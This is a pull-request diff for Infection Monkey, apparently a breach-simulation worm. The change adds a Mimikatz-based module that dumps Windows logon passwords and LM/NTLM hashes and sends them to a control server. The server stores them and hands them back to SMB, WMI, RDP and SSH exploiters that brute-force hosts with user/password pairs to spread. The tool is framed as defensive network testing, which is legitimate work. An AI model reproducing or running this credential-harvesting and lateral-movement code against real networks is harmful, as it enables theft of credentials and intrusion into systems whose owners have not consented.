Merge pull request #42 from guardicore/feature/add_mimikatz

Feature/add mimikatz
This commit is contained in:
itaymmguardicore 2017-08-21 12:03:03 +03:00 committed by GitHub
commit 54f054a4e7
13 changed files with 201 additions and 91 deletions

View File

@ -153,8 +153,8 @@ See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
Dependent packages Dependent packages
--------------------- ---------------------
Dependency | License | Dependency | License | Notes
----------------------------|---------------------------- ----------------------------|----------------------------|----------------------------
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
PyCrypto | Public domain PyCrypto | Public domain
upx | Custom license, http://upx.sourceforge.net/upx-license.html upx | Custom license, http://upx.sourceforge.net/upx-license.html
@ -188,3 +188,4 @@ Dependency | License |
winbind | GPL-3 winbind | GPL-3
pyinstaller | GPL pyinstaller | GPL
Celery | BSD Celery | BSD
mimikatz | CC BY 4.0 | We use an altered version of mimikatz made by gentilkiwi: https://github.com/guardicore/mimikatz

View File

@ -4,6 +4,7 @@ from network.range import FixedRange, RelativeRange, ClassCRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
from abc import ABCMeta from abc import ABCMeta
from itertools import product
import uuid import uuid
import types import types
@ -13,7 +14,6 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
def _cast_by_example(value, example): def _cast_by_example(value, example):
""" """
a method that casts a value to the type of the parameter given as example a method that casts a value to the type of the parameter given as example
@ -204,17 +204,17 @@ class Configuration(object):
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!" ms08_067_remote_user_pass = "Password1!"
# psexec exploiter
psexec_user = "Administrator"
psexec_passwords = ["Password1!", "1234", "password", "12345678"]
# ssh exploiter
ssh_users = ["root", 'user']
ssh_passwords = ["Password1!", "1234", "password", "12345678"]
# rdp exploiter # rdp exploiter
rdp_use_vbs_download = True rdp_use_vbs_download = True
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
return product(self.exploit_user_list, self.exploit_password_list)
exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey" smb_service_name = "InfectionMonkey"
@ -223,4 +223,10 @@ class Configuration(object):
collect_system_info = True collect_system_info = True
###########################
# systeminfo config
###########################
mimikatz_dll_name = "mk.dll"
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -12,21 +12,6 @@
], ],
"blocked_ips": [""], "blocked_ips": [""],
"current_server": "41.50.73.31:5000", "current_server": "41.50.73.31:5000",
"psexec_passwords": [
"Password1!",
"1234",
"password",
"12345678"
],
"ssh_passwords": [
"Password1!",
"Password",
"1234",
"12345",
"123",
"password",
"12345678"
],
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"depth": 2, "depth": 2,
@ -63,7 +48,6 @@
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!", "ms08_067_remote_user_pass": "Password1!",
"ping_scan_timeout": 10000, "ping_scan_timeout": 10000,
"psexec_user": "Administrator",
"range_size": 30, "range_size": 30,
"rdp_use_vbs_download": true, "rdp_use_vbs_download": true,
"smb_download_timeout": 300, "smb_download_timeout": 300,
@ -74,11 +58,9 @@
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"ssh_users": [
"root",
"user"
],
"local_network_scan": true, "local_network_scan": true,
"exploit_user_list": [],
"exploit_password_list" = []
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 200,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,

View File

@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
passwords = list(self._config.psexec_passwords[:]) config_users = self._config.exploit_user_list
known_password = host.get_credentials(self._config.psexec_user) config_passwords = self._config.exploit_password_list
if known_password is not None: user_password_pairs = []
if known_password in passwords: for user in config_users:
passwords.remove(known_password) for password in config_passwords:
passwords.insert(0, known_password) user_password_pairs.append((user, password))
if not g_reactor.is_alive(): if not g_reactor.is_alive():
g_reactor.daemon = True g_reactor.daemon = True
g_reactor.start() g_reactor.start()
exploited = False exploited = False
for password in passwords: for user, password in user_password_pairs:
try: try:
# run command using rdp. # run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
host, self._config.psexec_user, password) host, user, password)
LOG.info("RDP connected to %r", host) LOG.info("RDP connected to %r", host)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter):
if client_factory.success: if client_factory.success:
exploited = True exploited = True
host.learn_credentials(self._config.psexec_user, password) host.learn_credentials(user, password)
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password) report_failed_login(self, host, user, password)
except Exception, exc: except Exception, exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc) user, password, exc)
continue continue
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)

View File

@ -64,19 +64,14 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
passwords = list(self._config.psexec_passwords[:]) user_password_pairs = self._config.get_exploit_user_password_pairs()
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False exploited = False
for password in passwords: for user, password in user_password_pairs:
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user, user,
password, password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
@ -84,18 +79,18 @@ class SmbExploiter(HostExploiter):
if remote_full_path is not None: if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, self._config.psexec_user, password) host, user, password)
host.learn_credentials(self._config.psexec_user, password) host.learn_credentials(user, password)
exploited = True exploited = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, self._config.psexec_user, password) report_failed_login(self, host, user, password)
except Exception, exc: except Exception, exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user" LOG.debug("Exception when trying to copy file using SMB to %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc) user, password, exc)
continue continue
if not exploited: if not exploited:
@ -118,7 +113,7 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT) rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, rpctransport.set_credentials(user, password, host.ip_addr,
"", "", None) "", "", None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

View File

@ -44,18 +44,10 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", host) LOG.info("SSH port is closed on %r, skipping", host)
return False return False
passwords = list(self._config.ssh_passwords[:]) user_password_pairs = self._config.get_exploit_user_password_pairs()
users = list(self._config.ssh_users)
known_passwords = [host.get_credentials(x) for x in users]
if len(known_passwords) > 0:
for known_pass in known_passwords:
if known_pass in passwords:
passwords.remove(known_pass)
passwords.insert(0, known_pass) #try first
user_pass = product(users,passwords)
exploited = False exploited = False
for user, curpass in user_pass: for user, curpass in user_password_pairs:
try: try:
ssh.connect(host.ip_addr, ssh.connect(host.ip_addr,
username=user, username=user,

View File

@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter):
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.psexec_passwords: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
"Administrator", "Administrator",
password, password,

View File

@ -29,14 +29,9 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
passwords = list(self._config.psexec_passwords[:]) user_password_pairs = self._config.get_exploit_user_password_pairs()
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
for password in passwords: for user, password in user_password_pairs:
LOG.debug("Attempting to connect %r using WMI with password '%s'", LOG.debug("Attempting to connect %r using WMI with password '%s'",
host, password) host, password)
@ -44,27 +39,27 @@ class WmiExploiter(HostExploiter):
try: try:
wmi_connection.connect(host, wmi_connection.connect(host,
self._config.psexec_user, user,
password) password)
except AccessDeniedException: except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with password '%s'", LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
host, password) host, user, password)
continue continue
except DCERPCException, exc: except DCERPCException, exc:
report_failed_login(self, host, self._config.psexec_user, password) report_failed_login(self, host, user, password)
LOG.debug("Failed connecting to %r using WMI with password '%s'", LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
host, password) host, user, password)
continue continue
except socket.error, exc: except socket.error, exc:
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
host, password, exc) host, user, password, exc)
return False return False
except Exception, exc: except Exception, exc:
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s", LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
host, password, exc, traceback.format_exc()) host, user, password, exc, traceback.format_exc())
return False return False
host.learn_credentials(self._config.psexec_user, password) host.learn_credentials(user, password)
# query process list and check if monkey already running on victim # query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process", process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
@ -78,7 +73,7 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user, user,
password, password,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,

View File

@ -105,6 +105,9 @@ class ChaosMonkey(object):
ControlClient.keepalive() ControlClient.keepalive()
ControlClient.load_control_config() ControlClient.load_control_config()
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize() self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]

View File

@ -9,11 +9,15 @@ a = Analysis(['main.py'],
if platform.system().find("Windows")>= 0: if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0] a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit":
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
else:
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
pyz = PYZ(a.pure) pyz = PYZ(a.pure)
exe = EXE(pyz, exe = EXE(pyz,
a.scripts, a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')], a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
a.zipfiles, a.zipfiles,
a.datas, a.datas,
name='monkey.exe', name='monkey.exe',

View File

@ -0,0 +1,82 @@
import ctypes
import binascii
import logging
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
"""
def __init__(self):
try:
self._isInit = False
self._config = __import__('config').WormConfiguration
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError as ex:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
"""
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
if not self._isInit:
return {}
try:
entry_count = self._collect()
logon_data_dictionary = {}
for i in range(entry_count):
entry = self._get()
username = str(entry.username)
password = str(entry.password)
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
has_password = (0 != len(password))
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if not logon_data_dictionary.has_key(username):
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
if has_lm:
logon_data_dictionary[username]["lm_hash"] = lm_hash
if has_ntlm:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError as ex:
LOG.exception("Error getting logon info")
return {}
class LogonData(ctypes.Structure):
"""
Logon data structure returned from mimikatz.
"""
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
LM_NTLM_HASH_LENGTH = 16
_fields_ = \
[
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]

View File

@ -1,5 +1,5 @@
from . import InfoCollector from . import InfoCollector
from mimikatz_collector import MimikatzCollector
__author__ = 'uri' __author__ = 'uri'
@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector):
def get_info(self): def get_info(self):
self.get_hostname() self.get_hostname()
self.get_process_list() self.get_process_list()
mimikatz_collector = MimikatzCollector()
self.info["credentials"] = mimikatz_collector.get_logon_info()
return self.info return self.info

View File

@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
}, },
] ]
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
MONGO_URL = os.environ.get('MONGO_URL') MONGO_URL = os.environ.get('MONGO_URL')
if not MONGO_URL: if not MONGO_URL:
MONGO_URL = "mongodb://localhost:27017/monkeyisland" MONGO_URL = "mongodb://localhost:27017/monkeyisland"
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
timestamp = request.args.get('timestamp') timestamp = request.args.get('timestamp')
if guid: if guid:
return mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config']['exploit_user_list'] = \
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
monkey_json['config']['exploit_password_list'] = \
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
return monkey_json
else: else:
result = {'timestamp': datetime.now().isoformat()} result = {'timestamp': datetime.now().isoformat()}
find_filter = {} find_filter = {}
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
except: except:
pass pass
# Update credentials DB
try:
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
creds = telemetry_json['data']['credentials']
for user in creds:
creds_add_username(user)
if creds[user].has_key('password'):
creds_add_password(creds[user]['password'])
except StandardError as ex:
print("Exception caught while updating DB credentials: %s" % str(ex))
return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -259,6 +279,9 @@ class Root(restful.Resource):
mongo.db.config.drop() mongo.db.config.drop()
mongo.db.monkey.drop() mongo.db.monkey.drop()
mongo.db.telemetry.drop() mongo.db.telemetry.drop()
mongo.db.usernames.drop()
mongo.db.passwords.drop()
init_db()
return { return {
'status': 'OK', 'status': 'OK',
} }
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
return (True, "pis: %s" % pid) return (True, "pis: %s" % pid)
def creds_add_username(username):
mongo.db.usernames.update(
{'username': username},
{'$inc': {'count': 1}},
upsert=True
)
def creds_add_password(password):
mongo.db.passwords.update(
{'password': password},
{'$inc': {'count': 1}},
upsert=True
)
### Local ips function ### Local ips function
if sys.platform == "win32": if sys.platform == "win32":
def local_ips(): def local_ips():
local_hostname = socket.gethostname() local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2] return socket.gethostbyname_ex(local_hostname)[2]
else: else:
import fcntl import fcntl
def local_ips(): def local_ips():
@ -398,6 +433,17 @@ def send_to_default():
return redirect('/admin/index.html') return redirect('/admin/index.html')
def init_db():
if not "usernames" in mongo.db.collection_names():
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
for username in INITIAL_USERNAMES:
creds_add_username(username)
if not "passwords" in mongo.db.collection_names():
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
for password in INITIAL_PASSWORDS:
creds_add_password(password)
DEFAULT_REPRESENTATIONS = {'application/json': output_json} DEFAULT_REPRESENTATIONS = {'application/json': output_json}
api = restful.Api(app) api = restful.Api(app)
api.representations = DEFAULT_REPRESENTATIONS api.representations = DEFAULT_REPRESENTATIONS
@ -414,6 +460,8 @@ if __name__ == '__main__':
from tornado.httpserver import HTTPServer from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
with app.app_context():
init_db()
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'}) http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
http_server.listen(ISLAND_PORT) http_server.listen(ISLAND_PORT)
IOLoop.instance().start() IOLoop.instance().start()